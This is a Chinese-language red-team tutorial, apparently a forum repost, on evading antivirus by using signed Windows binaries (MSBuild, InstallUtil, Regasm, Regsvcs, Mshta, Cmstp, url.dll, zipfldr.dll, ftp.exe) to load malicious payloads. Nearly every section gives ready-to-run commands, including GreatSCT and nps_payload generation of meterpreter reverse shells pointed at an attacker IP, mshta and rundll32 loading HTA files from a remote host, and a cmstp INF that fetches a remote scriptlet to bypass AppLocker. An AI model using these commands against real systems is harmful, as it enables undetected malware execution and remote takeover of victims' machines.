原文链接:红队技巧-白加黑
前言
白就是此文件在杀软的白名单中,不会被杀软查杀;黑就是我们的恶意代码,由自己编写。通常白黑共同组成木马的被控端,最大限度的逃避杀软查杀,增强抗杀能力,而且方便免杀处理。一般情况下白为exe(带有签名),黑为dll或者其他,当然黑可以分成多部分。
1.1 白加黑木马的结构
1.Exe(白) ---load---> dll(黑)
2.Exe(白) ---load---> dll(黑)---load---> 恶意代码
实践
2.1 白名单Msbuild.exeMSBuild 是 Microsoft Build Engine 的缩写,而Microsoft Build Engine是用于构建应用程序的平台,它为项目文件提供XML模式,该文件控制构建平台如何处理和构建软件,通过微软的官方介绍来看,Msbuild.exe可以通过项目xml文件来构建,这也是关键。
适用条件:.NET Framework>=4.0
第一步找到Msbuild.exe
默认情况下Msbuild.exe是没有在系统环境变量中,所以需要我们先找到,默认情况下Msbuild.exe是在./net 环境下,但是因为各个系统安装的.net版本不同,所以只能到 C:\Windows\Microsoft.NET\下执行查找文件命令:
dir /S MSBuild.exe
第二步生产项目xml文件
这里要下载nps_payload工具可以生成xml或hta的文件,msbuild都可以执行,且自带的免杀挺有效的。
安装命令:
- git clone https://github.com/trustedsec/nps_payload
- pip install -r requirements.txt
- python2环境
复制代码
选择第1个选项,后面按照需求进行选择,选好后,会生成msbuild_nps.xml
可以看到cmd进行加密了的
但是通过代码分析来看,也仅仅只是base64编码了一下,加密强度很低,那么自己可以再去改改加密的方式强度。
第三步生成启动项目文件
msbuild.exe Micropoor.xml
2.2 白名单Installutil.exe
Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。
第一步找到Installutil.exe
默认情况下Installutil.exe是没有在系统环境变量中,所以需要我们先找到,默认情况下Installutil.exe是在./net 环境下,但是因为各个系统安装的.net版本不同,所以只能到 C:\Windows\Microsoft.NET\下执行查找文件命令:
dir /S Installutil.exe
第二步安装GreatSCT工具
GreatSCT可以基于Metasploit、自定义shellcode、powershell等生成payload,然后可利用多种白名单程序进行加载,从而达到免杀的目的。
支持的白名单文件有:
1、Installutil.exe
2、Msbuild.exe
3、Mshta.exe
4、Regasm.exe
5、Regsvcs.exe
6、Regsvr32.exe
安装:
- git clone https://github.com/GreatSCT/GreatSCT.git
- cd GreatSCT/setup
- sudo ./setup.sh -c
- python3 GreatSCT.py
复制代码
首先输入use 1 然后输入list,然后输入use 什么payload 然后设置lhost,lport,然后generate,然后输入文件名,然后可以看到执行次攻击的命令
#把文件拷贝到目标机器上,然后执行InstallUtil.exe /logfile= /LogToConsole=false Gamma.exe命令行输入开始监听:
- msfconsole -r /usr/share/greatsct-output/handlers/Gamma.rc
复制代码 也可以在直接生成payload,不需要交互式:
- python3 GreatSCT.py --ip 192.168.75.131 --port 4444 -t Bypass -p
- installutil/meterpreter/rev_https.py
复制代码
是不是很msf?
2.3 白名单Regasm.exe
Regasm 为程序集注册工具,读取程序集中的元数据,并将所需的项添加到注册表中,从而使COM客户端可以透明地创建.NET Framework类。一旦注册了一个类,任何COM客户端都可以像使用COM类一样使用它。安装程序集后,该类仅注册一次。程序集中的类的实例只有在实际注册后才能从COM创建。RegAsm.exe是Microsoft Corporation开发的合法文件进程,与Microsoft.NET Assembly Registration Utility相关联。
语法:
regasm assemblyFile [options]
详情请参考https://docs.microsoft.com/en-us ... y-registration-tool
第一步找到Regasm.exe
默认情况下Regasm.exe是没有在系统环境变量中,所以需要我们先找到,默认情况下Regasm.exe是在./net 环境下,但是因为各个系统安装的.net版本不同,所以只能到 C:\Windows\Microsoft.NET\下执行查找文件命令
第二步生成dll文件
这个你想用msf,cs,什么的生成都可以,我这里就使用GreatSCT生成了
- python3 GreatSCT.py --ip 192.168.75.131 --port 4444 -t Bypass -p regasm/meterpreter/rev_tcp.pyß
复制代码 然后执行:
- regasm.exe /U payload.dll
复制代码
2.4 白名单Regsvcs.exe
Regsvcs为.NET服务安装工具,主要提供三类服务:
加载并注册程序集
生成、注册类型库并将其安装到指定的 COM+ 1.0 应用程序中
配置以编程方式添加到类的服务
和前面一样在.net目录下
生成dll
python3 GreatSCT.py --ip 192.168.75.131 --port 4444 -t Bypass -p
regsvcs/meterpreter/rev_tcp.py
利用
regsvcs.exe Micropoor.dll
2.5 白名单Mshta.exe
Mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件。
第一步找到mshta.exe
在以下两个目录下:
C:\Windows\System32
C:\Windows\SysWOW64
第二步生成恶意的hta文件
这里我用nps_payload生成:
可以远程加载payload
- mshta.exe http://192.168.75.131/Micropoor.hta
复制代码
2.6 白名单Msiexec Msiexec是Windows Installer的一部分。用于安装Windows Installer安装包(MSI),一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于Windows 2003,Windows 7等。
无界面安装程序,管理员在线也无法察觉
- msiexec /a Any.msi /quiet
复制代码
1.生成dll文件
2.执行dll文件
2.7 白名单Cmstp.exe
Cmstp安装或删除“连接管理器”服务配置文件。如果不含可选参数的情况下使用,则 cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件。
位置在:
- C:\Windows\System32\cmstp.exe
- C:\Windows\SysWOW64\cmstp.exe
复制代码
如果找不到请cd到c盘根目录下,dir /S cmstp.exe 这里来个例子,cmstp.exe远程执行.sct绕过applocker inf文件内容: - [version]
- Signature=$chicago$
- AdvancedINF=2.5
- [DefaultInstall_SingleUser]
- UnRegisterOCXs=UnRegisterOCXSection
- [UnRegisterOCXSection]
- %11%\scrobj.dll,NI,https://gist.githubusercontent.com/NickTyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f/raw/676451571c203303a95b95fcb29c8b7deb8a66e0/powersct.sct
- [Strings]
- AppAct = "SOFTWARE\Microsoft\Connection Manager"
- ServiceName="Yay"
- ShortSvcName="Yay"
复制代码 然后执行:
还可以配合ps1脚本bypass uac
参考链接:
https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
2.8 白名单Url.dllurl.dll是Internet快捷壳扩展相关应用程序接口系统文件。
路径:
- C:\Windows\System32\url.dll
- C:\Windows\SysWOW64\url.dll
复制代码
第一步生成恶意hta文件,就不多说了 第二步通过rundll32.exe 加载url.dll 执行hta文件 - rundll32.exe url.dll,FileProtocolHandler file://C:Gamma.hta
复制代码 也可以远程执行:
- rundll32.exe url.dll,OpenURL http://192.168.75.131/Gamma.ht
复制代码
2.9 白名单zipfldr.dll
zipfldr.dll自Windows xp开始自带的zip文件压缩/解压工具组件。
在此路径下:
- C:\Windows\System32\zipfldr.dll
- C:\Windows\SysWOW64\zipfldr.dll
复制代码 通过共享来远程执行:
- rundll32.exe zipfldr.dll,RouteTheCall \\192.168.75.131\share\Gamma.exe
复制代码
2.10 白名单Ftp.exe
Ftp.exe是Windows本身自带的一个程序,属于微软FTP工具,提供基本的FTP访问。
在路径:
- C:\Windows\System32\ftp.exe
- C:\Windows\SysWOW64\ftp.exe
复制代码
在msf监听的时候需要设置参数:set AutoRunScript migrate -f 在命令行执行: - echo !C:\Users\Gmama\Desktop\hacker.exe > o &echo quit >> o &ftp ‐n ‐s:o &del /F /Q o
复制代码
后续再持续更上。。。。
|